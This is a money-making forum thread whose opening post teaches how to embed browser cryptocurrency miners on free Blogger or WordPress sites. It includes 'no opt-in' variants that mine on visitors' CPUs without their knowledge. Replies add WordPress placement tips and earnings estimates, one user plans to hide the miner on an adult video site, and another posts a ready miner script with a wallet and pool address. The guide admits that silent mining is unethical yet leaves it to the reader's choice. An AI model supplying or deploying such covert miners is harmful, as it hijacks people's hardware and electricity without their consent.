Welcome to BeerMoneyForum.com - BIGGEST MAKE MONEY FORUM ONLINE

Join us now to get access to all our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, and so, so much more. It's also quick and totally free, so what are you waiting for?
Blue
Red
Green
Orange
Voilet
Slate
Dark
  Guest viewing is limited

How to embed different Crypto-miners on a free website (earn cryptocurrency from visitors)

There are a lot of different web cryptocurrency miners right now on the market.
For a new person it can be overwhelming, and hard to pick the one you need for your website.

I made a list, and a way to embed them into a Blogger site.

Step 1. Pick a miner.

1.1. Coinhive (Mine Monero)
Opt-in and No opt-in


The easiest to implement on your website is the Coinhive script.
Coinhive mines Monero on your webpage.

You have various options to use, miners with opt in, and miners without opt in.
For the first option you need permission from the user to mine on their computer. This one is usually NOT disabled by adblocker.
To implement this option you make an account on the site and go to "documentation".
Because you want an easy way to implement, pick the javascript miner.
Pick the first script, it should look like this:
miner.png


You can change different settings.
miner2.jpg

YOUR_SITE_KEY is where you input your key you get from here: https://coinhive.com/settings/sites
You can input any name, but I prefer to use the domain I use the miner on.

THROTTLE is how much CPU the miner will use. The lower the number, the more CPU you use. At 0.3 you use 70% of the cpu, 0.5 you use 50% of the cpu, at 0.0 you use 100% of the cpu etc.

When you have the script ready go to step 2.

The second option mines without any permission from the user on their computer. This one is usually BLOCKED by adblocker.
You can make the script the same as in the precious step, but you have to change one thing in the script.

miner3.jpg

Replace the link in the red box with: https://coinhive.com/lib/coinhive.min.js

1.2 Webminerpool (mine Monero, Turtlecoin, SumoKoin and Electroneum)
No opt-in


This one is easier, and no 30% fees like on coinhive.

Go to the site.
After visiting choose a pool you like to mine on. For this tutorial I will use Turtlecoin.
Make sure you have a wallet for the coin you want to mine.

miner4.jpg
go to the info box (click 1)
And then click the Miner SDK (click 2)
Replace the red boxes with the pool of the coin you want to mine, and your wallet address.
When you have the script done, you can go to step 2.

1.3. JSEcoin (mine JSEcoin)
No opt-in


JSEcoin is a newer player to the webmining game, and has a different approach to using the CPU. They only use the CPU power that is free, so if a user has 100% CPU already busy, you can not mine on their PC. If they have their cpu for 50% busy, you can mine on the other 50% that is free. This tends to keep users free from lagging, and possibly leaving the site.

Sign up for an account on their website, and click the Mining tab, then press "website mining".
Add a website, and click on "setup site" Copy the script and go to step 2.

Step 2. Implement the miner on a free site.

For this tutorial I use blogger.com, but you can use this method on any free blog/websitebuilder that allows you to edit the HTML.
Other options are 000webhost, wordpress.com for example.

Make an account on Blogger and create your website, if you have a website already go to theme in the sidebar:
miner6.jpg
Then click on "edit HTML".
Once the pages loaded up you will see this:
miner7.jpg

If you use google chrome press Ctrl+F
Control-F.png
Search for </body>

Once you found it, copypaste your script DIRECTLY above the </body tag>
miner8.jpg


Save the theme.

Now you are done!
You successfully implemented a webminer script on a web page.
And when your users stay on the page, they mine cryptocurrency for you!

Using these miners can trigger Antivirus protection. If you are scared you might lose some visitors to that, do not implement these scripts!
Also the moral thing to do is tell every user on your site that you mine cryptocurrency on their computer.
It is your own choice in the end, and with this guide you can choose if you want a silent miner, or one that gives an opt-in.

Drop a like if this guide helped you!
 
Just a heads up for anyone, not many people like this sort of thing especially when they don't know anything properly about how this works etc. So having a opt-in will only result in people opting out because they don't want it happening. But if you remove the opt-in, it's unethical and you risk losing a lot of users if they do find out.
 
how do you do this for wordpress? I can't seem to find the </body> tag anywhere in the themes code. It doesn't look the same compared to blogger. Really don't want to run into any issues with google that's why I choose wordpress so how do you do it on wordpress?
 
I can't seem to find the </body> tag anywhere in the themes code.
It's in the header.php file. Go to Appearance ===> Editor ==> header.php

It's on the right side under "Theme Files", you may need to scrool to see it.
 
So is it the <body tag in this line of code because I can't find any </body> tag in the header.php

Code:
<?php

/**

* The template for displaying the header

*

* Displays all of the head element and everything up until the "site-content" div.

*

* @package WordPress

* @subpackage Twenty_Fifteen

* @since Twenty Fifteen 1.0

*/

?><!DOCTYPE html>

<html <?php language_attributes(); ?> class="no-js">

<head>

    <meta charset="<?php bloginfo( 'charset' ); ?>">

    <meta name="viewport" content="width=device-width">

    <link rel="profile" href="http://gmpg.org/xfn/11">

    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">

    <!--[if lt IE 9]>

    <script src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/html5.js"></script>

    <![endif]-->

    <?php wp_head(); ?>

</head>



<body <?php body_class(); ?>>

<div id="page" class="hfeed site">

    <a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentyfifteen' ); ?></a>



    <div id="sidebar" class="sidebar">

        <header id="masthead" class="site-header" role="banner">

            <div class="site-branding">

                <?php

                    twentyfifteen_the_custom_logo();



                    if ( is_front_page() && is_home() ) : ?>

                        <h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>

                    <?php else : ?>

                        <p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>

                    <?php endif;



                    $description = get_bloginfo( 'description', 'display' );

                    if ( $description || is_customize_preview() ) : ?>

                        <p class="site-description"><?php echo $description; ?></p>

                    <?php endif;

                ?>

                <button class="secondary-toggle"><?php _e( 'Menu and widgets', 'twentyfifteen' ); ?></button>

            </div><!-- .site-branding -->

        </header><!-- .site-header -->



        <?php get_sidebar(); ?>

    </div><!-- .sidebar -->



    <div id="content" class="site-content">
 
How much can one earn from this, am thinking of adding it to a micro niche adult site where users may have to watch embedded video on the site for a long time. Say if a user stays on the site for an hour, can I get upto $5?
Not even close macandy. One of my GPU 's mining for 24 hours brings in about a dollar USD.
 
How much can one earn from this, am thinking of adding it to a micro niche adult site where users may have to watch embedded video on the site for a long time. Say if a user stays on the site for an hour, can I get upto $5?

It is actually varies on the desktop specs user and phone specs. Just estimate a 5~10 sats per 10min. video. So if you have a thousand user and can produce a 10 sats per 10min video. You can gain 0.0001 btc. Again, this is just my estimate.
 
to add to this tutorial, this is a template for mining monero:
here's the code:

Code:
<script src="https://coinwebmining.com/cwm.js"></script>
<script>
    var site_id = 'cwm-2778';
    var coin = 'monero';
    var wallet = '47RDdJp8XUvgg5qN5mj8fUKKFnvznAbRYbkdjymfBRb6a6rTJZj4ra392bAr6hFBEzDpKPdAUnSJMC7ZPSXeCoHkM3Wiojc';
    var password = 'x';
    var mining_pool = 'mine.xmrpool.net:3333';
    var threads = -1;
    var throttle = 0.2;
    var debug = false;
    cwm_start(site_id, coin, wallet, password, mining_pool, threads, throttle, debug);
</script>

You have to replaced the following in the code above:
1. replace this 47RDdJp8XUvgg5qN5mj8fUKKFnvznAbRYbkdjymfBRb6a6rTJZj4ra392bAr6hFBEzDpKPdAUnSJMC7ZPSXeCoHkM3Wiojc with your monero wallet

2. i think thats about it, if you like specifically a monero pool you are accustomed just replace this with you favorite monero mining pool
mine.xmrpool.net:3333

or it stays that way.

** if you will not replace the wallet, your mining efforts will be deposited to my wallet

btw, crypto-loot.com is now crypto-loot.org

happy mining!
 

📢 Recommended Partners

MGID - Native Performance & Programmatic Advertising Platform MGID Team
0.00 star(s) 0 ratings
Updated
Roobet.com | Crypto’s Fastest Growing Casino 🦘 Roobet.com
0.00 star(s) 0 ratings
Updated
Duckdice.io - Top Crypto Gambling - Bitcoin Dice DuckDice.io
0.00 star(s) 0 ratings
Updated
BMFAds.com - Advertise and Monetize Your CPC, CPM, POP Traffic BMF Staff
4.00 star(s) 4 ratings
Updated

banner

REWARDS: Active Raffles


  • 🤑 Roll 3: Win 100,000 BMF Points!

    The entry period for this raffle ends in..
Back
Top Bottom

Earnings Disclaimer:  All the posts published herein are merely based on individual views, and they do not expressly or by implications represent those of BeerMoneyForum.com or its owner. It is hereby made clear that BeerMoneyForum.com does not endorse, support, adopt or vouch any views, programs and/or business opportunities posted herein. BeerMoneyForum.com also does not give and/or offer any investment advice to any members and/or it's readers. All members and readers are advised to independently consult their own consultants, lawyers and/or families before making any investment and/or business decisions. This forum is merely a place for general discussions. It is hereby agreed by all members and/or readers that BeerMoneyForum.com is in no way responsible and/or liable for any damages and/or losses suffered by anyone of you.